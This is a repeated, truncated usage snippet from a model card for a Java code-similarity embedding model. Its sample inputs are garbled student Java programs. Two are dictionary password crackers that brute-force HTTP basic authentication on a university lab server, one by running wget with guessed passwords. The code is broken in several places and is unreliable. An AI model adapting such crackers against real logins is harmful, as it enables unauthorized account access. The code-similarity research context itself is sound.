= new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
